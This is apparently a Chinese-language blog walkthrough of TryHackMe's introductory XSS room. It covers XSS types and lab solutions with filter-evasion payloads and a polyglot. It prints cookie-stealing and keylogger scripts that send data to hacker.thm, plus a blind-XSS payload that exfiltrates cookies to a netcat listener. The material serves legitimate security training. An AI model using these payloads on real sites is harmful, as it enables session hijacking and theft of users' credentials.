Intro to Cross-site Scripting

本房间链接 https://tryhackme.com/room/xss

跨站脚本简介

学习如何检测和利用 XSS 漏洞,让你控制其他访客的浏览器。

任务 1 房间简介

先决条件:
值得注意的是,由于 XSS 基于 JavaScript,因此对该语言有基本的了解会很有帮助。不过,这些示例都不太复杂,而且也需要对客户端-服务器请求和响应有基本的了解。

跨站脚本攻击(在网络安全社区中更常被称为 XSS )被归类为一种注入攻击,即将恶意 JavaScript 注入 Web 应用程序,意图由其他用户执行。在本课程中,您将了解不同的 XSS 类型、如何创建 XSS 负载、如何修改负载以规避过滤器,最后还将参加一个实践实验室,让您能够尝试新技能。

跨站脚本漏洞非常常见。以下是一些报告 大量应用程序中都存在 XSS ;您可以通过发现和报告这些漏洞获得丰厚的报酬。

image-20250925163228344.png

任务 2 XSS有效载荷

什么是有效载荷?

在 XSS 中,payload 是我们希望在目标计算机上执行的 JavaScript 代码。payload 分为两部分:意图和修改。

意图是您希望 JavaScript 实际执行的操作(我们将在下面的一些示例中进行介绍),而修改是我们需要对其进行的代码更改,以使其执行,因为每个场景都是不同的(有关此内容的更多信息,请参阅完善您的有效载荷任务)。

以下是一些 XSS 意图的示例。

概念证明:

这是最简单的 payload,你只需要证明你可以在网站上实现 XSS 攻击。通常的做法是,在页面上弹出一个带有一串文本的警告框,例如:

<script>alert('XSS');</script>

会话窃取:

用户会话的详细信息(例如登录令牌)通常保存在目标计算机的 Cookie 中。以下 JavaScript 代码获取目标的 Cookie,对其进行 Base64 编码以确保传输成功,然后将其发送到黑客控制的网站进行记录。一旦黑客获得这些 Cookie,他们就可以接管目标的会话并以该用户的身份进行记录。

<script>fetch('https://hacker.thm/steal?cookie=' + btoa(document.cookie));</script>

键盘记录器:

下面的代码充当键盘记录器。这意味着您在网页上输入的任何内容都将被转发到黑客控制的网站。如果安装了有效载荷的网站接受了用户登录信息或信用卡信息,这可能会造成非常严重的破坏。

<script>document.onkeypress = function(e) { fetch('https://hacker.thm/log?key=' + btoa(e.key) );}</script>

业务逻辑:

这个有效载荷比上面的例子要具体得多。它可以用于调用特定的网络资源或 JavaScript 函数。例如,假设有一个用于更改用户电子邮件地址的 JavaScript 函数,名为 user.changeEmail() 。你的有效载荷可能如下所示:

<script>user.changeEmail('attacker@hacker.thm');</script>

现在帐户的电子邮件地址已经更改,攻击者可能会执行重置密码攻击。

接下来的四个任务将涵盖不同类型的 XSS 漏洞,所有漏洞都需要略有不同的攻击负载和用户交互。

image-20250925164342065.png

任务 3 反射型 XSS

反射型 XSS

当 HTTP 请求中用户提供的数据未经任何验证就包含在网页源中时,就会发生反射型 XSS 。
示例场景:

如果您输入错误,则会显示错误消息的网站。错误消息的内容取自查询字符串中的 error 参数,并直接嵌入到页面源代码中。

image-20250925164811679.png

image-20250925164821547.png

应用程序不检查错误参数的内容,这使得攻击者可以插入恶意代码。

image-20250925164834403.png

image-20250925164843588.png

该漏洞可按照下图所示的场景利用:

image-20250925164930032.png

潜在影响:

攻击者可以向潜在受害者发送链接或将其嵌入到另一个包含 JavaScript 有效负载的网站上的 iframe 中,让他们在其浏览器上执行代码,从而可能泄露会话或客户信息。

如何测试反射型 XSS :

您需要测试每个可能的入口点;其中包括:

  • URL 查询字符串中的参数
  • URL 文件路径
  • 有时是 HTTP 标头(尽管实际上不太可能被利用)

一旦您找到了一些反映在 Web 应用程序中的数据,您就需要确认您可以成功运行 JavaScript 有效负载;您的有效负载将取决于您的代码在应用程序中反映的位置(您将在任务 6 中了解更多相关信息)。

image-20250925165010998.png

任务 4 存储型 XSS

存储型 XSS

顾名思义, XSS 有效负载存储在 Web 应用程序(例如,在数据库中)中,然后在其他用户访问该网站或网页时运行。

示例场景:

一个允许用户发表评论的博客网站。遗憾的是,这些评论不会检查是否包含 JavaScript,也不会过滤任何恶意代码。如果我们现在发布一条包含 JavaScript 的评论,该评论将被存储在数据库中,并且现在访问该文章的其他所有用户的浏览器中都会运行这段 JavaScript。

image-20250925165134118.png

潜在影响:

恶意 JavaScript 可以将用户重定向到另一个站点、窃取用户的会话 cookie 或在充当访问用户时执行其他网站操作。

如何测试存储型 XSS :

您需要测试每个可能的入口点,数据似乎存储在这些入口点,然后在其他用户可以访问的区域中显示出来;其中的一个小例子可能是:

  • 博客评论
  • 用户个人资料信息
  • 网站列表

有时开发人员认为限制客户端的输入值已经足够好了,因此将值更改为 Web 应用程序意想不到的值是发现存储型 XSS 的一个很好的来源,例如,年龄字段需要从下拉菜单中输入一个整数,但是,您手动发送请求而不是使用允许您尝试恶意负载的表单。

一旦找到存储在 Web 应用程序中的一些数据,您就需要确认您可以成功运行 JavaScript 有效负载;您的有效负载将取决于您的代码在应用程序中的反映位置(您将在任务 6 中了解有关此内容的更多信息)。

image-20250925165210443.png

任务 5 基于 DOM 的 XSS

基于 DOM 的 XSS

什么是 DOM?

DOM 代表文档对象模型 (Document Object Model ),是 HTML 和 XML 文档的编程接口。它代表页面,以便程序可以更改文档的结构、样式和内容。网页是一个文档,该文档可以显示在浏览器窗口中,也可以作为 HTML 源代码。HTML DOM 的示意图如下所示:

image-20250925165250651.png

如果您想了解有关 DOM 的更多信息并获得更深入的理解, w3.org 拥有丰富的资源。

利用 DOM

DOM 基于 XSS 的攻击是指 JavaScript 代码直接在浏览器中执行,无需加载任何新页面或将数据提交给后端代码。当网站 JavaScript 代码对输入或 用户交互。

示例场景:

网站的 JavaScript 从 window.location.hash 获取内容 参数,然后将其写入当前正在 已查看部分。哈希值的内容未经过恶意检查 代码,允许攻击者将他们选择的 JavaScript 注入到 网页。

潜在影响:

精心设计的链接可能会发送给潜在受害者,将他们重定向到另一个网站或窃取页面或用户会话中的内容。

如何测试基于 Dom 的 XSS :

基于 DOM 的 XSS 测试起来比较困难,需要一定的 JavaScript 知识才能阅读源代码。您需要查找代码中访问攻击者可以控制的某些变量的部分,例如“ window.location.x ”参数。

找到这些代码片段后,您需要了解它们是如何处理的,以及这些值是否被写入网页的 DOM 或传递给不安全的 JavaScript 方法(如 eval() )

image-20250925165511037.png

任务 6 盲 XSS

XSS

盲的 XSS 类似于存储型 XSS (我们在任务 4 中介绍过),因为你的有效载荷存储在 网站可供其他用户查看,但在这种情况下,您无法看到 有效载荷工作或能够首先对自己进行测试。

示例场景:

一个网站有一个联系表单,你可以用它来给员工发送消息。消息内容不会经过恶意代码检查,这使得攻击者可以随意输入任何内容。这些消息随后会被转换成支持工单,供员工在私人门户网站上查看。

潜在影响:

使用正确的有效载荷,攻击者的 JavaScript 可以回调攻击者的网站,泄露员工门户的 URL、员工的 Cookie,甚至正在查看的门户页面内容。现在,攻击者有可能劫持员工的会话并访问私人门户。

如何测试盲 XSS :

在测试盲 XSS 漏洞时,你需要确保你的 Payload 有一个回调函数(通常是 HTTP 请求)。这样,你就能知道你的代码是否以及何时被执行。

一个流行的盲 XSS 攻击工具是 XSS Hunter Express 。虽然可以用 JavaScript 制作自己的工具,但这个工具会自动捕获 cookie、URL、页面内容等。

image-20250925165613724.png

任务 7 完善你的有效载荷

有效载荷是我们想要在另一个用户的浏览器上执行的 JavaScript 代码,或者作为概念证明来证明网站中的漏洞。

您的有效载荷可能具有多种意图,从仅仅弹出一个 JavaScript 警告框来证明我们可以在目标网站上执行 JavaScript 到从网页或用户会话中提取信息。

你的 JavaScript 有效载荷在目标网站代码中的体现方式将决定你需要使用的有效载荷。为了解释这一点,请点击右侧的绿色“启动机器”按钮,当机器加载完成后,在新标签页中打开下面的链接。

https://LAB_WEB_URL.p.thmlabs.com

每个级别的目标是使用字符串 THM 执行 JavaScript 警报函数,例如:

<script>alert('THM');</script>

第一级:

您会看到一个表格,要求您输入您的姓名,输入姓名后,它将显示在下面的一行中,例如:

image-20250925165712963.png

如果您查看页面源代码,您会看到您的名字反映在代码中:

image-20250925165726491.png

我们不会输入您的姓名,而是尝试输入以下 JavaScript 负载: <script>alert('THM');</script>

现在,当您单击输入按钮时,您将看到一个带有字符串 THM 的警报弹出窗口,并且页面源代码将如下所示:

image-20250925165759771.png

然后,您将收到一条确认消息,表明您的有效负载已成功,并带有指向下一级别的链接。

第二级:

和上一关一样,你再次被要求输入姓名。这次点击 Enter 键时,你的名字会显示在输入标签中:

image-20250925165813659.png

查看页面源代码,您可以看到您的名字反映在输入标签的 value 属性中:

image-20250925165830651.png

如果您尝试之前的 JavaScript 负载,它将无法正常工作,因为您无法在输入标签内运行它。相反,我们需要先对输入标签进行转义,以便负载能够正常运行。您可以使用以下负载来执行此操作: "><script>alert('THM');</script>

有效负载的重要部分是 "> ,它关闭值参数,然后关闭输入标签。

现在,这将正确关闭输入标签并允许 JavaScript 有效负载运行:

image-20250925165918307.png

现在,当您点击回车键时,您将看到一个包含字符串 THM 的警告弹出窗口。然后,您将收到一条确认消息,表明您的有效载荷已成功,并带有指向下一关的链接。

第三级:

您会看到另一个要求您输入姓名的表格,与上一级别相同,您的姓名会反映在 HTML 标签内,这次是 textarea 标签。

image-20250925165932894.png

我们必须使用以下有效负载对 textarea 标签进行转义,使其与输入标签(在第二级中)稍有不同: </textarea><script>alert('THM');</script>

image-20250925165944596.png

image-20250925165951347.png

上述有效负载的重要部分是 </textarea> ,它导致 textarea 元素关闭,以便脚本运行。

现在,当您点击回车键时,您将看到一个包含字符串 THM 的警告弹出窗口。然后,您将收到一条确认消息,表明您的有效载荷已成功,并带有指向下一关的链接。

第四级:

在表单中输入您的姓名后,您会看到它反映在页面上。此级别与第一级别类似,但检查页面源代码后,您会看到您的姓名反映在一些 JavaScript 代码中。

image-20250925170005074.png

您必须转义现有的 JavaScript 命令,这样才能运行代码;您可以使用以下有效负载 ';alert('THM');// 来执行此操作,您将从下面的屏幕截图中看到它将执行您的代码。 ' 关闭指定名称的字段,然后 ; 表示当前命令的结束,末尾的 // 使其后的任何内容成为注释而不是可执行代码。

image-20250925170016460.png

现在,当您点击回车键时,您将看到一个包含字符串 THM 的警告弹出窗口。然后,您将收到一条确认消息,表明您的有效载荷已成功,并带有指向下一关的链接。

第五级:

现在,这一层看起来与第一层相同,您的姓名也会显示在同一个位置。但是,如果您尝试使用 <script>alert('THM');</script> 负载,它将无法正常工作。查看页面源代码后,您就会明白原因。

image-20250925170043475.png

脚本 script 会从您的有效负载中删除,这是因为有一个过滤器可以删除任何潜在的危险词语。

当一个单词从字符串中删除时,您可以尝试一个有用的技巧。

原始有效载荷:

<sscriptcript>alert('THM');</sscriptcript>

要删除的文本(通过过滤器):

<s(script)cript>alert('THM');</s(script)cript>

最终有效载荷(通过过滤器后):

<script>alert('THM');</script>

尝试输入有效载荷 <sscriptcript>alert('THM');</sscriptcript> 并点击回车键,您将看到一个包含字符串 THM 的警告弹出窗口。然后,您将收到一条确认消息,表明您的有效载荷已成功,并带有指向下一关的链接。

第六级:

与第二步类似,我们需要对 input 标签的 value 属性进行转义,我们可以尝试 "><script>alert('THM');</script> ,但这似乎不起作用。让我们检查一下页面源代码,看看为什么它不起作用。

image-20250925170222956.png

您可以看到,< 和 > 字符从我们的有效载荷中被过滤掉了,从而阻止我们转义 IMG 标签。为了绕过这个过滤,我们可以利用 IMG 标签的附加属性,例如 onload 事件。一旦 src 属性中指定的图像加载到网页上, onload 事件就会执行您选择的代码。

让我们更改有效载荷以反映此 /images/cat.jpg" onload="alert('THM'); ,然后查看页面源代码,您就会看到它是如何工作的。

image-20250925170236508.png

现在,当您点击回车键时,您将看到一个包含字符串 THM 的警告弹出窗口。然后,您将收到一条确认消息,表明您的有效载荷已成功;这是最后一级,您将收到一个可以在下面输入的标志。

多语言者:

XSS 多语言代码是一串文本,它可以同时转义属性、标签并绕过过滤器。你可以在刚刚完成的所有六个级别上使用下面的多语言代码,并且它能够成功执行代码。

1
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */onerror=alert('THM') )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert('THM')//>\x3e

image-20250925170329030.png

任务 8 实际示例(盲 XSS)

最后一个任务,我们将讨论一个盲 XSS 漏洞。确保你关闭了之前的机器,然后 点击右侧的绿色“启动机器”按钮,加载 Acme IT 支持网站。你需要使用蓝色的 AttackBox 页面顶部的按钮。加载完成后,在 AttackBox 的 Firefox 浏览器中打开下面的链接即可查看 目标网站。

https://LAB_WEB_URL.p.thmlabs.com

点击顶部导航栏上的“ 客户” 选项卡,然后点击“ 在此注册 ”链接创建帐户。帐户设置完成后,请点击 “支持工单” 选项卡,我们将通过该功能调查是否存在缺陷。

尝试创建支持工单:点击绿色的“创建工单”按钮,输入主题和内容(仅包含“测试”一词),然后点击蓝色的“创建工单”按钮。现在,您会在列表中看到您的新工单,其中包含一个 ID 号,点击该 ID 号即可跳转到您新创建的工单。

与任务三类似,我们将研究之前输入的文本是如何在页面上体现的。查看页面源代码后,我们可以看到文本被放置在 textarea 标签内。

image-20250925170407917.png

image-20250925170414987.png

现在我们回过头来创建另一个工单。看看能否通过在工单内容中输入以下 payload 来避开 textarea 标签:

</textarea>test

再次打开票证并查看页面源代码,我们已成功逃脱 textarea 标签。

image-20250925170429003.png

image-20250925170435451.png

现在让我们扩展一下这个 payload,看看能否运行 JavaScript,并确认票证创建功能是否存在 XSS 攻击漏洞。尝试使用以下 payload 创建另一个新的票证:

</textarea><script>alert('THM');</script>

现在,当您查看工单时,应该会看到一个包含字符串 THM 的警告框。我们现在将进一步扩展有效载荷,并增加漏洞的影响。由于此功能会创建支持工单,因此我们有理由相信,工作人员也会查看此工单,我们可以利用此工单执行 JavaScript。

从其他用户那里提取一些有用的信息,比如他们的 Cookie,我们可以利用这些信息劫持他们的登录会话来提升我们的权限。为此,我们的 Payload 需要提取用户的 Cookie,并将其泄露到我们选择的另一个 Web 服务器。首先,我们需要设置一个监听服务器来接收这些信息。

使用 AttackBox,让我们使用 Netcat 设置一个监听服务器。如果我们要监听端口 9001,我们输入命令 nc -l -p 9001-l 选项表示我们要在监听模式下使用 Netcat,而 -p 选项用于指定端口号。为了避免通过 DNS 解析主机名,我们可以添加 -n 选项;此外,为了发现任何错误,可以通过在详细模式下运行 Netcat 来添加 建议使用 -v 选项。最终命令变为 nc -n -l -v -p 9001 ,相当于 nc -nlvp 9001

1
2
user@machine$ nc -nlvp 9001
Listening on [0.0.0.0] (family 0, port 9001)

现在我们已经设置了接收泄露信息的方法,让我们构建有效载荷。

1
</textarea><script>fetch('http://URL_OR_IP:PORT_NUMBER?cookie=' + btoa(document.cookie) );</script>

让我们分解一下有效载荷:

  • </textarea> 标签关闭文本区域字段。
  • <script> 标签为我们编写 JavaScript 打开了一个区域。
  • fetch() 命令发出 HTTP 请求。
  • URL_OR_IP 是 THM 请求捕获器 URL、来自 THM AttackBox 的 IP 地址或 THM VPN 上的 IP 地址 网络。
  • PORT_NUMBER 是您用来监听 AttackBox 连接的端口号。
  • ?cookie= 是包含受害者 cookie 的查询字符串。
  • btoa() 命令对受害者的 cookie 进行 base64 编码。
  • document.cookie 访问受害者的 Acme IT 支持网站的 cookie。
  • </script> 关闭 JavaScript 代码块。

现在使用上述有效负载创建另一个票据,确保将 URL_OR_IP:PORT_NUMBER 变量替换为您的设置(确保同时指定 Netcat 监听器的端口号)。现在,等待一分钟,您将看到包含受害者 Cookie 的请求。

注意:使用您自己的虚拟机和 VPN 接收请求时可能会遇到问题。建议您使用 AttackBox 执行此任务。

您现在可以使用 https://www.base64decode.org/ 之类的网站对此信息进行 base64 解码,从而获得回答以下问题所需的信息。

image-20250925170514061.png


Intro to Cross-site Scripting
http://example.com/2025/09/25/Intro-to-Cross-site-Scripting/
作者
皓月
发布于
2025年9月25日
许可协议